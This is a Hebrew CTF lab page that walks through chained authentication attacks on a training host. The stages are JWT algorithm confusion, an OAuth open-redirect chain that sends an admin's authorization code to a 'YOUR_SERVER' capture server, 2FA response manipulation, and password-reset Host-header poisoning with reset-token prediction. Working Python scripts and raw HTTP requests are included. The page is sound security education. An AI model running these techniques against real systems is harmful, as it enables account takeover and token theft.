לדלג לתוכן

אתגר CTF - אותנטיקציה מתקדמת

מבוא

אתגר זה משלב את כל הטכניקות שלמדנו בפרק 2. האתגר מדמה אפליקציה ארגונית עם מספר שכבות אותנטיקציה, וכל שלב דורש טכניקה שונה לעקיפה. המטרה היא להשתלט על חשבון האדמין ולקבל את ה-flag.


שלב 1: עקיפת JWT באמצעות בלבול אלגוריתמים - Algorithm Confusion

תיאור

האפליקציה משתמשת ב-JWT לאותנטיקציה. לאחר התחברות עם חשבון רגיל, תקבלו טוקן JWT חתום ב-RS256. המטרה היא לגשת ל-/api/admin/users.

רמזים

  1. התחברו עם guest:guest וקבלו את הטוקן
  2. בדקו מה נמצא ב-/.well-known/jwks.json
  3. שימו לב לאלגוריתם בטוקן
  4. נסו לשנות את האלגוריתם ל-HS256
  5. השתמשו במפתח הציבורי כסוד HMAC

שלבי הפתרון

# שלב 1: התחברות וקבלת טוקן
import requests
import jwt

TARGET = "http://challenge.ctf.local"

session = requests.Session()
resp = session.post(f"{TARGET}/login", json={
    "username": "guest",
    "password": "guest"
})
token = resp.json()['token']
print(f"[1] טוקן: {token}")

# שלב 2: השגת המפתח הציבורי
resp = session.get(f"{TARGET}/.well-known/jwks.json")
jwks = resp.json()
print(f"[2] JWKS: {jwks}")

# שלב 3: המרת JWK ל-PEM
from jwt.algorithms import RSAAlgorithm
import json

public_key_pem = RSAAlgorithm.from_jwk(json.dumps(jwks['keys'][0]))

# שלב 4: יצירת טוקן עם algorithm confusion
payload = jwt.decode(token, options={"verify_signature": False})
payload['role'] = 'admin'
payload['sub'] = 'administrator'

# מה הטריק כאן? כתבו את הקוד שחותם עם HS256
# ...

# שלב 5: גישה לנקודת קצה מוגנת
resp = session.get(f"{TARGET}/api/admin/users", headers={
    "Authorization": f"Bearer {malicious_token}"
})
print(f"[5] תוצאה: {resp.json()}")

מה אמורים לקבל

גישה ל-/api/admin/users תחזיר רשימת משתמשים ובתוכם לינק לשלב הבא.


שלב 2: ניצול OAuth לגניבת טוקן אדמין

תיאור

מתוך רשימת המשתמשים שקיבלתם, תגלו שהאדמין משתמש ב-OAuth לניהול. יש endpoint פנימי /oauth/authorize עם בעיית אימות redirect_uri.

רמזים

  1. בדקו את ה-OAuth endpoint שנמצא בשלב הקודם
  2. שימו לב לאופן שבו ה-redirect_uri מאומת
  3. חפשו open redirect באפליקציה
  4. שרשרו את ה-open redirect עם ה-OAuth flow

שלבי הפתרון

שלב 2.1: זיהוי ה-OAuth flow
- גשו ל-/oauth/authorize?response_type=code&client_id=admin_panel&redirect_uri=...
- בדקו אילו redirect_uri מתקבלים

שלב 2.2: מציאת Open Redirect
- סרקו את האפליקציה לאיתור open redirects
- רמז: בדקו /goto, /redirect, /next

שלב 2.3: שרשור
- בנו URL שמשלב open redirect עם OAuth
- https://challenge.ctf.local/oauth/authorize?
    response_type=code&
    client_id=admin_panel&
    redirect_uri=https://challenge.ctf.local/goto?url=YOUR_SERVER

שלב 2.4: קבלת ה-code
- הקימו שרת שקולט את ה-authorization code
- "שלחו" את הלינק לאדמין (בסביבת CTF, בדרך כלל יש bot)

שרת לקליטת הקוד

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/callback')
def callback():
    code = request.args.get('code')
    print(f"[+] קוד: {code}")

    # החלפת הקוד בטוקן
    resp = requests.post("http://challenge.ctf.local/oauth/token", data={
        "grant_type": "authorization_code",
        "code": code,
        "redirect_uri": "...",
        "client_id": "admin_panel"
    })

    print(f"[+] טוקן: {resp.json()}")
    return "OK"

app.run(host='0.0.0.0', port=8080)

מה אמורים לקבל

טוקן OAuth שנותן גישה לפאנל הניהול, שם תגלו שהאדמין מוגן ב-2FA.


שלב 3: עקיפת 2FA באמצעות מניפולציית תגובה

תיאור

לאחר שקיבלתם גישה עם טוקן ה-OAuth, אתם צריכים לעבור את שלב ה-2FA. בדקו את התגובה של השרת ומצאו דרך לעקוף.

רמזים

  1. שלחו קוד 2FA שגוי ובדקו את התגובה
  2. שימו לב ל-status code, headers, ותוכן הגוף
  3. שנו את התגובה ב-Burp
  4. בדקו אם יש גם אפשרות לדלג על 2FA ישירות

שלבי הפתרון

# שלב 3.1: שליחת קוד שגוי
POST /admin/verify-2fa HTTP/1.1
Authorization: Bearer OAUTH_TOKEN

{"code": "000000"}

# תגובה:
HTTP/1.1 401 Unauthorized
{"success": false, "redirect": "/admin/2fa"}

# שלב 3.2: שינוי התגובה
HTTP/1.1 200 OK
{"success": true, "redirect": "/admin/dashboard"}

# שלב 3.3: אם מניפולציה לא עובדת, נסו:
# - גישה ישירה ל-/admin/dashboard
# - שינוי cookie (verified=true)
# - שימוש חוזר בקוד 2FA ישן

# שלב 3.4: בדיקה נוספת
# אולי אפשר לעקוף 2FA דרך API ישיר?
GET /api/admin/dashboard HTTP/1.1
Authorization: Bearer OAUTH_TOKEN
# ה-API לא תמיד בודק 2FA!

מה אמורים לקבל

גישה לפאנל הניהול עם מידע על חשבון האדמין ולינק לשלב האחרון.


שלב 4: שרשור כל הטכניקות - השתלטות מלאה על חשבון

תיאור

בשלב זה תשלבו את כל מה שלמדתם כדי להשתלט על חשבון הראשי של המערכת (super-admin). השלב כולל:

  1. ניצול password reset poisoning עם Host header
  2. חיזוי טוקן איפוס (הטוקן מבוסס על timestamp)
  3. שינוי סיסמה וגישה מלאה

שלבי הפתרון

# שלב 4.1: הרעלת Host Header
POST /forgot-password HTTP/1.1
Host: challenge.ctf.local
X-Forwarded-Host: YOUR_SERVER

email=superadmin@ctf.local
# שלב 4.2: אם ה-Host poisoning לא עובד, נסו חיזוי טוקן
import hashlib
import time
import requests

TARGET = "http://challenge.ctf.local"

# בקשת איפוס
timestamp_before = int(time.time())
requests.post(f"{TARGET}/forgot-password", data={
    "email": "superadmin@ctf.local"
})
timestamp_after = int(time.time())

# ניסיון חיזוי הטוקן
for ts in range(timestamp_before, timestamp_after + 1):
    # נסו דפוסים שונים
    candidates = [
        hashlib.md5(str(ts).encode()).hexdigest(),
        hashlib.sha256(str(ts).encode()).hexdigest()[:32],
        hashlib.md5(f"superadmin@ctf.local:{ts}".encode()).hexdigest(),
    ]

    for token in candidates:
        resp = requests.get(f"{TARGET}/reset-password?token={token}")
        if resp.status_code == 200 and 'expired' not in resp.text:
            print(f"[+] טוקן תקין: {token}")
            print(f"    (timestamp: {ts})")

            # שינוי הסיסמה
            resp = requests.post(f"{TARGET}/reset-password", data={
                "token": token,
                "new_password": "pwned123",
                "confirm_password": "pwned123"
            })

            if resp.status_code == 200:
                print("[+] סיסמה שונתה!")
            break
# שלב 4.3: התחברות כ-super-admin
resp = requests.post(f"{TARGET}/login", json={
    "username": "superadmin",
    "password": "pwned123"
})

token = resp.json().get('token')

# שלב 4.4: קבלת ה-flag
resp = requests.get(f"{TARGET}/api/flag", headers={
    "Authorization": f"Bearer {token}"
})

print(f"FLAG: {resp.json()['flag']}")

סיכום הטכניקות בשימוש

שלב טכניקה קטגוריה
1 בלבול אלגוריתמים - Algorithm Confusion JWT
2 שרשור Open Redirect עם OAuth OAuth 2.0
3 מניפולציית תגובה / גישה ישירה 2FA Bypass
4 הרעלת Host Header / חיזוי טוקן Account Takeover

מעבדות PortSwigger רלוונטיות

JWT

  • JWT authentication bypass via unverified signature
  • JWT authentication bypass via flawed signature verification
  • JWT authentication bypass via jwk header injection
  • JWT authentication bypass via jku header injection
  • JWT authentication bypass via kid header path traversal
  • JWT authentication bypass via algorithm confusion
  • JWT authentication bypass via algorithm confusion with no exposed key

OAuth

  • Authentication bypass via OAuth implicit flow
  • Forced OAuth profile linking
  • OAuth account hijacking via redirect_uri
  • Stealing OAuth access tokens via an open redirect
  • SSRF via OpenID dynamic client registration

2FA

  • 2FA simple bypass
  • 2FA broken logic
  • 2FA bypass using a brute-force attack

Account Takeover

  • Basic password reset poisoning
  • Password reset poisoning via middleware
  • Password reset poisoning via dangling markup

משאבים נוספים

קופסאות HackTheBox רלוונטיות

- Craft - ניצול JWT עם algorithm confusion
- Oouch - תקיפת OAuth עם CSRF
- JSON - ניצול JWT token deserialization
- PlayerTwo - שרשור חולשות אותנטיקציה
- Unobtainium - ניצול JWT ו-SSRF

חדרי TryHackMe

- JWT Security - אתגרי JWT ברמות שונות
- OAuth Vulnerabilities - תקיפות OAuth
- Authentication Bypass - עקיפת אותנטיקציה
- OWASP Juice Shop - אתגרי אותנטיקציה מגוונים

אתרים נוספים לתרגול

- PortSwigger Web Security Academy - המקור המרכזי
- OWASP WebGoat - מעבדה לימודית
- Damn Vulnerable Web Application (DVWA)
- HackTheBox Web Challenges
- Root-Me - Web challenges

טיפים לפתרון

  1. תמיד תתחילו בזיהוי הטכנולוגיה - JWT/OAuth/SAML
  2. מפו את כל נקודות הקצה לפני שמתחילים לתקוף
  3. קראו את הודעות השגיאה בתשומת לב - הן חושפות מידע
  4. בדקו headers, cookies, ו-response bodies
  5. אל תשכחו לבדוק גם את הדברים הפשוטים - לפעמים הפתרון פשוט
  6. תעדו כל שלב - זה יעזור לכם לחזור אחורה אם נתקעתם
  7. אם נתקעתם - חזרו לתיאוריה. לפעמים הפתרון נמצא בהרצאה